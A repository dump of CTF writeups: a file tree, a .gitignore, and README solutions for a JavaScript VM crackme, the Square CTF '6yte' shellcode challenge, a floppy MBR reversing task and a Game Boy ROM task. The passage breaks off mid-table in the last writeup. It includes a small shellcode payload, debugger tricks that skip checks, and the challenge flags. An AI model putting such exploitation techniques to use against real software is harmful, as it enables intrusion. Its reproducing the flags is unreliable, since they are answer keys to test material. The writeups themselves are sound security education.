├── 2017
├── Kaspersky 2017
│ └── web keygen
│ │ ├── README.md
│ │ └── screens
│ │ ├── html.png
│ │ └── konata.png
├── Square CTF 2017
│ ├── pwn
│ │ └── 6yte
│ │ │ ├── 6yte
│ │ │ ├── README.md
│ │ │ └── screens
│ │ │ ├── argc_check.png
│ │ │ ├── bytes.png
│ │ │ ├── couldnt_find_file.png
│ │ │ ├── create_mem_ptr.png
│ │ │ ├── export.png
│ │ │ ├── file.png
│ │ │ ├── flag_print.png
│ │ │ ├── input_len_check.png
│ │ │ ├── jmp_break.png
│ │ │ └── main.png
│ └── reverse
│ │ ├── floppy
│ │ ├── README.md
│ │ ├── floppy.img
│ │ └── screens
│ │ │ ├── cmp_asm.png
│ │ │ ├── decompiled_main.png
│ │ │ ├── file.png
│ │ │ ├── flag.png
│ │ │ ├── input.png
│ │ │ ├── mbr_loaded.png
│ │ │ ├── prints.png
│ │ │ ├── run_qemu.png
│ │ │ ├── set_eip.png
│ │ │ ├── start_debug.png
│ │ │ ├── start_func.png
│ │ │ └── start_func_debug.png
│ │ └── gameboy
│ │ ├── README.md
│ │ ├── README.txt
│ │ ├── bighint.txt
│ │ ├── mission.gb
│ │ ├── screens
│ │ ├── 1_and.png
│ │ ├── 1st_flag.png
│ │ ├── 2_and.png
│ │ ├── 3_and.png
│ │ ├── code.png
│ │ ├── flag.png
│ │ ├── halt.png
│ │ ├── inputted_code.png
│ │ ├── needed_call.png
│ │ ├── needed_func.png
│ │ ├── needs_code.png
│ │ ├── rom_settings.png
│ │ ├── start.png
│ │ └── start_ida.png
│ │ ├── smallhint.txt
│ │ └── tools.txt
├── TUCTF-2017
│ └── pwn
│ │ └── temple
│ │ ├── README.md
│ │ ├── exploit.py
│ │ ├── libc.so.6
│ │ ├── mm.c
│ │ ├── screens
│ │ └── heap.png
│ │ ├── temple
│ │ └── temple.c
└── backdoorctf17
│ └── pwn
│ ├── baby-0x41414141
│ ├── 32_new
│ ├── README.md
│ ├── exploit.py
│ └── screens
│ │ ├── code.png
│ │ ├── fsb.png
│ │ └── print-flag.png
│ └── funsignals
│ ├── README.md
│ ├── exploit.py
│ ├── player_bin
│ └── screens
│ ├── after-signal.png
│ ├── before-signal.png
│ ├── call-signal.png
│ ├── checksec.png
│ └── code.png
├── 2018
├── BackdoorCTF 2018
│ ├── bookkeeping
│ │ ├── exploit.py
│ │ ├── service.o
│ │ ├── service1.o
│ │ └── verifier.o
│ └── shelter
│ │ ├── challenge
│ │ └── exploit.py
├── Harekaze CTF 2018
│ └── flea_attack
│ │ ├── README.md
│ │ ├── exploit.py
│ │ ├── flea_attack.c
│ │ ├── flea_attack.elf
│ │ ├── nohup.out
│ │ └── screens
│ │ ├── add_name.png
│ │ ├── del_name.png
│ │ ├── flag.png
│ │ ├── gets_comment.png
│ │ ├── main.png
│ │ └── open_flag.png
├── P.W.N. CTF
│ └── pwn
│ │ └── echochamber
│ │ ├── README.md
│ │ ├── echo_chamber
│ │ ├── ld-linux.so.2
│ │ └── libc.so.6
└── UIUCTF 2018
│ └── pwn
│ └── heap
│ ├── README.md
│ ├── exploit.py
│ ├── how2heap
│ └── libc-2.26.so
├── 2019
├── BSidesSF 2019 CTF
│ ├── genius
│ │ ├── README.md
│ │ ├── exploit.py
│ │ ├── genius
│ │ ├── loader
│ │ └── screens
│ │ │ ├── apply_patch.png
│ │ │ ├── before_patch.png
│ │ │ ├── execute.png
│ │ │ ├── first_genius.png
│ │ │ ├── get_point.jpg
│ │ │ ├── get_shell.jpg
│ │ │ ├── patched.jpg
│ │ │ ├── read_binary.png
│ │ │ ├── second_genius.png
│ │ │ ├── sh_in_map.jpg
│ │ │ └── switches.png
│ └── straw_clutcher
│ │ ├── README.md
│ │ ├── exploit.py
│ │ ├── libc-2.23.so
│ │ ├── screens
│ │ ├── beginning.png
│ │ ├── final_shell.png
│ │ └── vuln.png
│ │ └── straw-clutcher
├── SPbCTF
│ └── kv8
│ │ ├── README.md
│ │ ├── exploit.py
│ │ ├── kv8
│ │ ├── libc-2.28.so
│ │ └── pseudocode.c
├── TAMUctf 19
│ └── pwn6
│ │ ├── README.md
│ │ ├── client
│ │ ├── exploit.py
│ │ ├── gdt
│ │ ├── pwn6.ovpn
│ │ ├── screens
│ │ ├── bp_validation.png
│ │ ├── heap_layout.png
│ │ ├── konata.png
│ │ ├── process_msg.png
│ │ ├── server_main.png
│ │ ├── shell.png
│ │ └── stack.png
│ │ └── server
└── UTCTF
│ └── Encryption Service
│ ├── README.md
│ ├── exploit.py
│ ├── libc-2.23.so
│ ├── pseudocode.c
│ ├── pwnable
│ └── screens
│ ├── desc.png
│ ├── edit_encrypted_message.png
│ ├── encrypt_string.png
│ ├── main.png
│ ├── remove_encrypted_string.png
│ ├── start_service.png
│ └── view_messages.png
├── 2020
├── FireShellCTF
│ └── tmpfs
│ │ ├── Dockerfile
│ │ ├── README.md
│ │ ├── client
│ │ ├── client.remote
│ │ ├── client.rop
│ │ ├── docker-compose.yml
│ │ ├── flag
│ │ ├── images
│ │ └── flag.png
│ │ ├── run.sh
│ │ ├── server
│ │ ├── tmpfs.py
│ │ └── xinetd
└── m0leCon
│ └── fakev
│ ├── README.md
│ ├── fakev
│ ├── fakev.py
│ └── libc.so.6
├── .gitignore
├── LICENSE
└── README.md
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | # *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | build/
12 | develop-eggs/
13 | dist/
14 | downloads/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | wheels/
23 | *.egg-info/
24 | .installed.cfg
25 | *.egg
26 | MANIFEST
27 |
28 | # PyInstaller
29 | # Usually these files are written by a python script from a template
30 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
31 | *.manifest
32 | *.spec
33 |
34 | # Installer logs
35 | pip-log.txt
36 | pip-delete-this-directory.txt
37 |
38 | # Unit test / coverage reports
39 | htmlcov/
40 | .tox/
41 | .coverage
42 | .coverage.*
43 | .cache
44 | nosetests.xml
45 | coverage.xml
46 | *.cover
47 | .hypothesis/
48 | .pytest_cache/
49 |
50 | # Translations
51 | *.mo
52 | *.pot
53 |
54 | # Django stuff:
55 | *.log
56 | local_settings.py
57 | db.sqlite3
58 |
59 | # Flask stuff:
60 | instance/
61 | .webassets-cache
62 |
63 | # Scrapy stuff:
64 | .scrapy
65 |
66 | # Sphinx documentation
67 | docs/_build/
68 |
69 | # PyBuilder
70 | target/
71 |
72 | # Jupyter Notebook
73 | .ipynb_checkpoints
74 |
75 | # pyenv
76 | .python-version
77 |
78 | # celery beat schedule file
79 | celerybeat-schedule
80 |
81 | # SageMath parsed files
82 | *.sage.py
83 |
84 | # Environments
85 | .env
86 | .venv
87 | env/
88 | venv/
89 | ENV/
90 | env.bak/
91 | venv.bak/
92 |
93 | # Spyder project settings
94 | .spyderproject
95 | .spyproject
96 |
97 | # Rope project settings
98 | .ropeproject
99 |
100 | # mkdocs documentation
101 | /site
102 |
103 | # mypy
104 | .mypy_cache/
105 |
--------------------------------------------------------------------------------
/2017/Kaspersky 2017/web keygen/README.md:
--------------------------------------------------------------------------------
1 | # __Kaspersky Industrial CTF Quals 2017.__
2 | ## _web keygen_
3 |
4 | ## Information
5 | **Category:** | **Points:** | **Writeup Author**
6 | --- | --- | ---
7 | Reverse | 700 | merrychap
8 |
9 | **Description:**
10 |
11 | > crackme! http://95.85.55.168/vmctf.html
12 |
13 | ## Solution
14 | We are given the [link](http://95.85.55.168/vmctf.html) to the password validator. Let's see the HTML code:
15 |
16 |
17 |
18 |
19 |
20 | It seems interesting. We can see ~~cocoded~~ obfuscated javascript code and function ```GetFlag``` where we input some string. First of all, let's replace all this ```CoCo``` with a more readable name like ```a[Number of Co]```. [The code is here](https://gist.github.com/merrychap/b00e9a2045622f81cea13ed76b36555d). It's already little changed, but still doesn't mean much. You can see how we tried to understand what this thing is, but ended up with nothing.
21 |
22 | ### Reversing the code
23 | Now, we can look at the name of the html. VMctf. Virtual Machine? Let's look at the code from this perspective.
24 |
25 |
26 | ```javascript
27 | a56() {
28 | var byte = this.getNextByte();
29 | switch (byte) {
30 | case 1: ...
31 | case 2: ...
32 | case 3: ...
33 | ...
34 | case 18: ...
35 | }
36 |
37 |
38 | ...
39 |
40 | while (buffer.counter != 0xFFFFFFFF) {
41 | buffer.a56();
42 | }
43 |
44 | ```
45 |
46 | There is a while loop that compares ```buffer.counter``` with ```0xffffffff```. This ```buffer.counter``` looks exactly like IP register. And this ```a56()``` function executes a command depending on the instruction opcode (big case statement).
47 |
48 | Now, let's look at the ```BufferClass``` construction:
49 |
50 | ```javascript
51 | constructor(bufferNumbers) {
52 | this.dataViewBuffer = new DataView(bufferNumbers.buffer);
53 | this.counter = 0;
54 | this.numberDV = new DataView(new ArrayBuffer(32));
55 | var bufferLen = bufferNumbers.length;
56 | this.numberDV.setInt32(16,bufferLen);
57 |
58 | ```
59 |
60 | Okay, here ```dataViewBuffer``` is the memory with .text section and the empty stack. ```counter``` is ```IP``` register and ```numberDV``` is set of 32-bit registers.
61 |
62 | After some time of reversing this code, we get [something like this](https://gist.github.com/merrychap/b5d63b535513b995942c042095991f04). I should mention that there are 4 memory managers:
63 | - ```UniRegHandler``` — manager for 32-, 16- and 8-bit registers.
64 | - ```ConstantHandler``` — used for getting constants from .text's section code.
65 | - ```AddressHandler8``` — manager for arbitrary 8-bit addresses.
66 | - ```AddressHandler32``` — manager for arbitrary 32-bit addresses.
67 |
68 | All code is pretty clear: There is a VM that has stack, registers and it executes instructions. So, we have the code for VM in ```var memory = new Uint8Array(...)```.
69 |
70 | Reversing the code we see what is going on:
71 | - The program waits for a string with 8-byte length.
72 | - Compute hash of this string
73 | - Compare obtained hash with ```0x33e5ae40```. If they are equal, then program prints another string (actually a flag), else printf "Fail".
74 |
75 |
76 | So, we should understand what type of a hashing is used here.
77 |
78 | ### What this hashing does
79 | The hash function looks like this:
80 |
81 | ```python
82 | blocks = [0x77073096,0xee0e612c, 0x990951ba, ...]
83 |
84 | hash = 0xedcba987
85 |
86 | def hash(input):
87 | for i in range(len(input)):
88 | r8 = (ord(input[i]) ^ hex2int(ciphr)) & 255
89 | index = ((0xfffffbf8 + 11220 + r8 * 4) & 0xffffffff) // 4
90 | block = blocks[index]
91 | hash = (hash >> 8) ^ block
92 |
93 | ```
94 |
95 | All hex numbers is signed. ```blocks``` are statically generated list of signed numbers. So, hashing algorithm is not that hard. After all operations are executed, a hash is compared with ```0x33e5ae40```. Knowing this, we can reverse algorithm in this way:
96 |
97 | ```python
98 | alph = ascii_letters + digits
99 |
100 | def cracking(hash):
101 | for iter in range(8):
102 | for block in blocks:
103 | c = hash ^ block
104 | for byte in range(256):
105 | nhash = c + byte # pseudocoded sum here is like strings: 0x123456 + 0x78 = 0x12345678
106 | for symb in alph:
107 | r8 = (symb ^ nhash) & 255
108 | index = ((0xfffffbf8 + 11220 + r8 * 4) & 0xffffffff) // 4
109 | if blocks[index] == block:
110 | hash = nhash
111 | ```
112 |
113 | But this took too much time to compute initial hash ```0xedcba987```. Because of that, we should understand how works program after comparison of input's hash and ```0x33e5ae40```.
114 |
115 |
116 | ### After comparison
117 | If a hash of our input is equal to ```0x33e5ae40```, then program compute statically list of numbers. Further, all numbers are xored with input. Usual block cipher.
118 | ```
119 | | INPUT | INPUT | INPUT | ... |
120 | | LIST OF NUMBERS .... |
121 | | RESULTING LIST OF NUMBERS |
122 | ```
123 |
124 | And in the end, program prints exactly ```RESULTING LIST OF NUMBERS``` joined in a string. We know the flag format. It is ```KLCTF....```. So, it all means that we can use the certain password that will give us exactly "KLCTF" after xoring. This password is ```8XcCD...``` But it's just 5 bytes. We should use another 3. Let's just brute them. After we do it, we will xor obtained password with numbers and will get the flag.
125 |
126 | ```python
127 | numbers = [115, 20, 32, 23, 2, 98, 42, 119, 121, 29, 33, 113, 112, 103, 94, 6, 0, 30, 91, 113, 125, 103, 95, 113, 123, 111, 80, 2, 119, 103, 90, 115, 9, 25, 39, 1, 5]
128 | password = '8XcCDUhG'
129 |
130 | index, flag = 0, ''
131 | for i, num in enumerate(numbers):
132 | flag += chr(num ^ ord(password[i % 8]))
133 | print(flag)
134 | ```
135 |
136 | > And we get the flag: **KLCTF7B0AEB2426A8F829276C73A32241ADBA**
137 |
138 |
139 | VoidHack crew with love <3
140 |
141 |
142 |
143 |
--------------------------------------------------------------------------------
/2017/Kaspersky 2017/web keygen/screens/html.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Kaspersky 2017/web keygen/screens/html.png
--------------------------------------------------------------------------------
/2017/Kaspersky 2017/web keygen/screens/konata.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Kaspersky 2017/web keygen/screens/konata.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/pwn/6yte/6yte:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/pwn/6yte/6yte
--------------------------------------------------------------------------------
/2017/Square CTF 2017/pwn/6yte/README.md:
--------------------------------------------------------------------------------
1 | # __Square CTF 2017__
2 | ## _6yte_
3 |
4 | ## Information
5 | **Category:** | **Points:** | **Writeup Author**
6 | --- | --- | ---
7 | Exploit | 1000 | merrychap
8 |
9 | **Description:**
10 |
11 | > Our operatives found this site, which appears to control some of the androids’ infrastructure! There are only two problems. The robots love x86 assembly; the only thing easier for them to work with is binary. And they love terse command codes. Even 7 bytes was too many for this one.
12 | This URL is unique to your team! Don't share it with competitors!
13 | https://zahir-todyf-movav-fygas-codag.capturethesquare.com
14 |
15 |
16 | ## Solution
17 | On the page we can find a binary and text, that says:
18 |
19 | >You can send up to 6 bytes (hex encoded) as the first argument to the binary. The passed in bytes will be executed. The goal is to read the contents of the file in env['WUNTEE_CHALLENGE_FLAG'].
20 |
21 | Okay then, the first we have to do is to download the [binary](6byte) and examine its functionality. Using ```file``` utility we see that it's 32-bit binary:
22 |
23 |
24 |
25 |
26 |
27 | Let's open the binary in IDA Pro. First of all, we're faced with argc length checking. From this, we know, that length of argc must be 2.
28 |
29 |
30 |
31 |
32 |
33 | It means that we pass our 6 bytes **through command line parameters**. If args is equal to 2, then binary checks length of a passed string. It must be 12 bytes long because each byte presented with 2 symbols
34 |
35 |
36 |
37 |
38 |
39 | When all checks are completed, the program converts a passed string into 6 real bytes. That is, if you input ```aabbccddeeff```, then program converts it into bytes sequence ```0xaa 0xbb 0xcc 0xdd 0xee 0xff```. After this, the main function starts:
40 |
41 |
42 |
43 |
44 |
45 | In this part of the code, the program prints locations of the flag and the shellcode (our input), and then jumps to the shellcode. Sounds pretty nice. We can run the debugger and see all this in action.
46 |
47 | I'll use gdb+peda, but you can use whatever debugger you want. Let's set the breakpoint on ```jmp DWORD PTR [ebp-0x18]```, because in fact, it's the only one interesting place to debug.
48 |
49 |
50 |
51 |
52 |
53 | When we try to run the binary, we faced with the problem: we just don't have ```WUNTEE_CHALLENGE_FLAG``` environment variable. It's not a problem at all. We create a file named "flag" and write to it the string ```this_is_sample_flag_created_by_myself```. After this let's create the right environment variable:
54 |
55 |
56 |
57 |
58 |
59 | Try to run it again with ```aabbccddeeff```... Yes, everything is okay.
60 |
61 |
62 |
63 |
64 |
65 | Once you are at the ```jmp``` instruction, step in and see what do we have there.
66 |
67 |
68 |
69 |
70 |
71 | This is where the real task begins. Let's recall that we have right now. The flag is located in our memory and we can see it. Also, we can control 6 executable bytes. So, the simplest (and the only one) idea is next: we use ```write``` syscall to write the flag into the output stream.
72 |
73 | Let's examine the registers for that: ```eax = 0x4; ebx = 0x1; edx = 0x5```. It means that we will write to the stdout 5 bytes of a buffer stored in the ```ecx```. But ecx stores something useless! Yes, this is why we need this 6 bytes of our input. You can notice that ```edi``` contains flag address, so the goal is to move this address to ```ecx```. We can input ```lea ecx, [edi]; syscall;``` (in bytes it's ```8d0fcd80```)assembly instruction to output first 5 bytes of the flag.
74 |
75 |
76 |
77 |
78 |
79 | Okay, when we get the first 5 bytes of the flag, we can use an offset in the ```lea``` instruction like this: ```lea ecx, [edi+5]``` to print next 5 bytes and so on. By the way, you can use ```rasm2``` to convert assembly instructions into bytes.
80 |
81 | That's all. Just apply this technique on the CTF server.
82 |
83 | For our team flag is:
84 |
85 | > flag-vizuv-solyb-rasun-korud-lyvad
--------------------------------------------------------------------------------
/2017/Square CTF 2017/pwn/6yte/screens/argc_check.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/pwn/6yte/screens/argc_check.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/pwn/6yte/screens/bytes.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/pwn/6yte/screens/bytes.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/pwn/6yte/screens/couldnt_find_file.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/pwn/6yte/screens/couldnt_find_file.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/pwn/6yte/screens/create_mem_ptr.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/pwn/6yte/screens/create_mem_ptr.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/pwn/6yte/screens/export.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/pwn/6yte/screens/export.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/pwn/6yte/screens/file.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/pwn/6yte/screens/file.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/pwn/6yte/screens/flag_print.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/pwn/6yte/screens/flag_print.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/pwn/6yte/screens/input_len_check.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/pwn/6yte/screens/input_len_check.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/pwn/6yte/screens/jmp_break.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/pwn/6yte/screens/jmp_break.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/pwn/6yte/screens/main.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/pwn/6yte/screens/main.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/floppy/README.md:
--------------------------------------------------------------------------------
1 | # __Square CTF 2017__
2 | ## _floppy_
3 |
4 | ## Information
5 | **Category:** | **Points:** | **Writeup Author**
6 | --- | --- | ---
7 | Reverse | 1000 | merrychap
8 |
9 | **Description:**
10 |
11 | > Our team of corn snakes formed an uneasy alliance with the office mice and slithered into the server room of Evil Robot Corp. They extracted an image of the VPN server before they had to retreat. Turns out sending a team of reptiles into a room whose main purpose is to keep its contents cold wasn’t the best idea.
12 | Can you figure out how this bootable [floppy](floppy.img) works and recover the secret data?
13 |
14 | ## Solution
15 | First of all, we should understand what this thing is. Using ```file```, we see that this is ```DOS/MBR boot sector```.
16 |
17 | ```sh
18 | $ file floppy.img
19 | floppy.img: DOS/MBR boot sector
20 | ```
21 |
22 | What should we do with it? If you try to run it, you fail, because of ```format error```. Hence, we should find an emulator for this type of system. I'll use ```qemu```.
23 |
24 | In the first place, we have to see the code of this MBR. Using IDA Pro we can see the next code (some functions are already renamed):
25 |
26 |
27 |
28 |
29 |
30 | This function does the next:
31 | - 16 line: Prints "Challenge" with some random number
32 | - 19 line: Prints "Code?"
33 | - 21 — 35: Inputs a string with 4 bytes length.
34 | - 37 line: Translates the string into hex format (I'm not sure about this function, it isn't necessary for the solution)
35 | - 38 — 42: Generates 8 bytes and stores them in ```byte_1DB8```
36 | - 43 line: Compares processed ```hex``` and result of ```sub_BA0``` function
37 | - If they are equal, then prints the "flag" and then execute ```sub_510``` with ```byte_1DB8``` as the first argument.
38 | - Else prints "Nope".
39 |
40 | There are two ways to solve this challenge:
41 | 1. Understand how ```sub_BA0``` works and find appropriate input that will satisfy to the comparison
42 | 2. Execute all instructions until comparison. After this, set ```eip``` to ```call sub_510```. Input in this case is useless because doesn't take part in calculating the flag. So it will give us the flag without any effort.
43 |
44 | I chose the second variant because it's faster. This is where that comparison located in disassembly:
45 |
46 |
47 |
48 |
49 |
50 | But to do this trick with ```eip``` we have to be in debugging mode. This is where problems come.
51 |
52 | First of all, we should run qemu with the possibility of attaching the debugger (gdb, in our case) to the binary. After hours of reading different web pages about it, I found the brilliant [tutorial](https://rwmj.wordpress.com/2011/10/12/tip-debugging-the-early-boot-process-with-qemu-and-gdb/). As we can see, to run qemu in this mode we should do the next:
53 | ```sh
54 | qemu-system-x86_64 -s -S -m 512 -fda winxp.img
55 | ```
56 |
57 | And now we can see, that qemu is running:
58 |
59 |
60 |
61 |
62 |
63 | Alright, we know from this article, that the address when MBR is loaded is ```0x7c00```. Let's attach to this process in the ```gdb``` and set breakpoint at this address.
64 |
65 |
66 |
67 |
68 |
69 | Continue execution until the ```0x7c00``` address:
70 |
71 |
72 |
73 |
74 |
75 |
76 | When everything is done, we have to find the address of the start function. This functions is shown below:
77 |
78 |
79 |
80 |
81 |
82 | After some debugging steps, we find that the desired function is placed under ```0x1000``` address:
83 |
84 |
85 |
86 |
87 |
88 | Okay, we are almost done! Now, we have to calculate the offset of that last comparison from ```0x200``` (it's the address of start function in disassembly). Offset is ```0x217```, so let's set breakpoint at the ```0x1217``` and continue execution. Program waits for an input. We input random 4 bytes.
89 |
90 |
91 |
92 |
93 |
94 |
95 | When we are at that ```cmp``` instruction we have to just change ```eip``` register to ```0x121f``` and continue execution.
96 |
97 |
98 |
99 |
100 |
101 | And this is what the binary gives us after comparison:
102 |
103 |
104 |
105 |
106 |
107 | So, the flag is:
108 |
109 | > flag-774016DB4709CB49
110 |
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/floppy/floppy.img:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/floppy.img
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/floppy/screens/cmp_asm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/screens/cmp_asm.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/floppy/screens/decompiled_main.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/screens/decompiled_main.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/floppy/screens/file.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/screens/file.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/floppy/screens/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/screens/flag.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/floppy/screens/input.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/screens/input.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/floppy/screens/mbr_loaded.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/screens/mbr_loaded.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/floppy/screens/prints.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/screens/prints.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/floppy/screens/run_qemu.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/screens/run_qemu.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/floppy/screens/set_eip.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/screens/set_eip.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/floppy/screens/start_debug.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/screens/start_debug.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/floppy/screens/start_func.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/screens/start_func.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/floppy/screens/start_func_debug.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2017/Square CTF 2017/reverse/floppy/screens/start_func_debug.png
--------------------------------------------------------------------------------
/2017/Square CTF 2017/reverse/gameboy/README.md:
--------------------------------------------------------------------------------
1 | # __Square CTF 2017__
2 | ## _The Turing Agent_
3 |
4 | ## Information
5 | **Category:** | **Points:** | **Writeup Author**
6 | --- | --- | ---
7 | Reverse | 500 | merrychap
8 |
9 | **Description:**
10 |
11 | >The hamsters have triumphed! We found an open [Github repository](https://github.com/Ahris/the_turing_agent)! It looks like some sort of game; perhaps they’re planning to trick our humans into playing it. We need to know if there’s any data hidden in the game that might harm our humans.
12 | Note: You'll need to prepend "flag-" to the flag.
13 |
14 | ## Solution
15 | It's the most interesting and the most difficult (for me) challenge in this CTF.
16 | We are given with several files:
17 | - Hints files: [bighint](bighint.txt) and [smallhint](smallhint.txt)
18 | - [Some readme](README.txt)
19 | - [Tools list](tools.txt)
20 | - And the [challenge](mission.gb) itself
21 |
22 | Using ```file``` we see that this is Game Boy ROM image.
23 |
24 | ```sh
25 | $ file mission.gb
26 | mission.gb: Game Boy ROM image (Rev.01) [ROM ONLY], ROM: 256Kbit
27 | ```
28 |
29 | Also, we can read [tools.txt]((tools.txt)) and find several debuggers for Gameboy. I'll use [```bgb```](http://bgb.bircd.org/) debugger. (Although all these debuggers are buggy).
30 |
31 |
32 | ### Using BGB
33 | After several hours of setting up this debugger, finally, I came to this:
34 |
35 |
36 |
37 |
38 |
39 | Yay! It's finally started correctly under debugging mode. So, there is one very important instruction that requires the breakpoint — ```halt``` at ```0x351E``` address. When the ```halt``` instruction is called, the Gameboy stops executing instructions until an interrupt occurs. For us it means that all changes on the screen produced after this instruction. So, it's the convenient place to set the breakpoint.
40 |
41 |
42 |
43 |
44 |
45 |
46 | ### The task itself
47 | Now, we can continue executing until task itself is show:
48 |
49 |
50 |
51 |
52 |
53 | So, after this text, the program waits for our 16 symbols input. We can input the next symbols:
54 | - up-arrow
55 | - left-arrow
56 | - down-arrow
57 | - right-arrow
58 | - box button
59 | - arrow button
60 |
61 | These are all Gameboy's controllers. So, after entering a sequence of symbols, the binary have to compare them with the correct sequence. It's obvious. Of course, it's not, because the binary can comapre hashes of sequences, but after completing the challenge I can say, that only sequences are compared.
62 |
63 | Anyway, let's input something:
64 |
65 |
66 |
67 |
68 |
69 | Now, you should be very careful, because there is one important moment. Look closely at ```0xC0A0``` and ```0xC0C0``` addresses. At the ```0xC0A0``` address placed our inputted string where each byte is a symbol from the input, corresponding to the next table:
70 |
71 | Symbol | Byte (in printable)
72 | --- | ---
73 | 🡆 | 0 (0x30)
74 | 🡄 | 1 (0x31)
75 | 🡅 | 2 (0x32)
76 | 🡇 | 3 (0x33)
77 | ⌃ | 4 (0x34)
78 | 🢬 | 5 (0x35)
79 |
80 | And now look at the ```0xC0C0``` address. Each byte then transformed into another, corresponding to the yet another table:
81 |
82 | Symbol | Byte
83 | --- | ---
84 | 🡆 | 0x1
85 | 🡄 | 0x2
86 | 🡅 | 0x4
87 | 🡇 | 0x8
